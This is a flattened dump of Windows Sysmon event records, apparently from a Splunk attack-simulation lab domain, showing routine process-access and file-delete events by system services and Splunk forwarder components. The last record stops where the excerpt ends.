14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014034Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014033Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014032Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6F8C-613B-9C04-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014031Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F8C-613B-9C04-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014030Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.394{625C326B-6F8C-613B-9C04-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014029Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.237{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A81379FA9B32C172259128D32A68EB76,SHA256=C0F27485D95991BBED746D383D1DFB54D65981A88344624D72615F724CB127F5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.492{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.492{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.492{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.492{7BD73061-65BF-613B-2B00-00000000F001}29643820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\tileobjserver.dll+bce2|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000045909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.492{7BD73061-65BF-613B-2B00-00000000F001}29643820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|c:\windows\system32\tileobjserver.dll+bc8f|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000045908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.336{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E40A-00000000F001}6128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.320{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E40A-00000000F001}6128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.320{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E40A-00000000F001}6128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.273{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E30A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.258{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E30A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.258{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E30A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.211{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000045901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.211{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 23542300x800000000000000045900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.195{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E5BE66EB459F190DCA32B03D68C6A112,SHA256=839CE95B188AA9CF3DDB03488E320CC0A3E664B9A1760BD8F1158330391AEC60,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.180{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E20A-00000000F001}6252C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.180{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 